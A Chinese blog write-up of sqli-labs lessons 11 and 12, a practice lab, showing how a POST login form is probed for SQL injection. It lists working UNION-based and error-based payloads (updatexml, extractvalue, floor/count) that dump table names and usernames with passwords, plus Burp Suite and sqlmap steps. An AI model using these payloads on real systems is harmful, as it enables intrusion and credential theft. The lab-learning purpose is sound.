当前位置:网站首页>sqlilabs less-11~12
sqlilabs less-11~12
2022-07-01 14:03:00 【永远是深夜该多好。】
less-11

一个登录功能,再去源代码看看还有没有其他信息

可以大致构造一个这个登陆功能的sql语句
select * from table where uname = 'username' and passwd = 'password'
再来看看是什么类型
下方蓝色字内容如下
You have an error in your SQL syntax; check the manual that
corresponds to your MariaDB server version for the right syntax to use
near ‘1’ LIMIT 0,1’ at line 1
嗯,是单引号类型
修改一下构造的sql语句
select username,password from table where uname = ‘input_username’ and passwd = ‘input_password’

蓝字内容
The used SELECT statements have a different number of columns


蓝字内容
FUNCTION security.databsse does not exist
获取了数据库名是security了


1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

1' union select 1,group_concat(username,password) from users #

因为它通过POST请求
额外小知识:
POST和GET都是获取网页内容但是POST有大量的数据,GET只有少量是有限制的,而且GET会把发送的数据显示在浏览器,POST不会,所以POST相对安全。
所以还能用 burp suite
抓包后发到Repeater里面进行操作
再来一个sqlmap
把burp suite包复制到文件里面


扫描完以后
查询数据库 --dbs
在这里按下回车

查看当前数据库 --current-db


查看security里的表


查看security库中表users的列


查看security库中表users的列值

后面发现这道题是基于错误
那就试试吧
- updatexml函数
1' and updatexml(1,(concat(0x7c,(select database()))),1)#

- extractvalue函数
1' and extractvalue(1,concat(0x7c,(select database())))#

- floor和count(*)
1' union select count(*),concat((select database()),floor(rand()*2))a from information_schema.tables group by a#

1' union select count(*),str(concat((select database()),floor(rand()*2)),utf8)a from information_schema.tables group by a#

随便选一个
1' and updatexml(1,(concat(0x7c,(select group_concat(table_name) from information_schema.tables where table_schema = database()))),1)#

1' union select count(*),concat((select group_concat(table_name) from information_schema.tables where table_schema =database()),floor(rand()*2))a from information_schema.tables group by a#

less-12
less-12和less-11差不多,只有注入点有区别
less-12的是双引号加括号 “)
select username.password from users where uname=(”“) and passwd=(”")
边栏推荐
- 当主程架构游戏的时候,防止到处调用减少耦合性,怎么开放接口给其他人调用呢?
- Scheme of printing statistical information in log
- Journal MySQL
- Effet halo - qui dit qu'il y a de la lumière sur la tête est un héros
- 队列的基本操作(C语言实现)
- 基于算力驱动、数据与功能协同的分布式动态(协同)渲染/功能运行时
- C language course design topic
- This paper introduces an implementation scheme to enhance the favorite transaction code management tool in SAP GUI
- How to pass array parameters in get request
- 当你真的学会DataBinding后,你会发现“这玩意真香”!
猜你喜欢

被裁三個月,面試到處碰壁,心態已經開始崩了
![[安网杯 2021] REV WP](/img/98/ea5c241e2b8f3ae4c76e1c75c9e0d1.png)
[安网杯 2021] REV WP

Basic operation of queue (implemented in C language)

使用CMD修复和恢复病毒感染文件

Error:Kotlin: Module was compiled with an incompatible version of Kotlin. The binary version of its

算网融合赋能行业转型,移动云点亮数智未来新路标

用对场景,事半功倍!TDengine 的窗口查询功能及使用场景全介绍

How will the surging tide of digitalization overturn the future?

Yan Rong looks at how to formulate a multi cloud strategy in the era of hybrid cloud

玩转MongoDB—搭建MongoDB集群
随机推荐
Use lambda function URL + cloudfront to realize S3 image back to source
Error:Kotlin: Module was compiled with an incompatible version of Kotlin. The binary version of its
"National defense seven sons" funding soared, with Tsinghua reaching 36.2 billion yuan, ranking second with 10.1 billion yuan. The 2022 budget of national colleges and universities was made public
用对场景,事半功倍!TDengine 的窗口查询功能及使用场景全介绍
This paper introduces an implementation scheme to enhance the favorite transaction code management tool in SAP GUI
JVM有哪些类加载机制?
el-form-item 正则验证
孔松(信通院)-数字化时代云安全能力建设及趋势
基于算力驱动、数据与功能协同的分布式动态(协同)渲染/功能运行时
2. Sensor size "recommended collection"
8款最佳实践,保护你的 IaC 安全!
C language ordering management system
Basic knowledge of C language
Blind box NFT digital collection platform system development (build source code)
[repair version] imitating the template of I love watching movies website / template of ocean CMS film and television system
深度合作 | 涛思数据携手长虹佳华为中国区客户提供 TDengine 强大企业级产品与完善服务保障
[anwangbei 2021] Rev WP
2022年PMP项目管理考试敏捷知识点(6)
玩转gRPC—不同编程语言间通信
使用net core 6 c# 的 NPOI 包,读取excel..xlsx单元格内的图片,并存储到指定服务器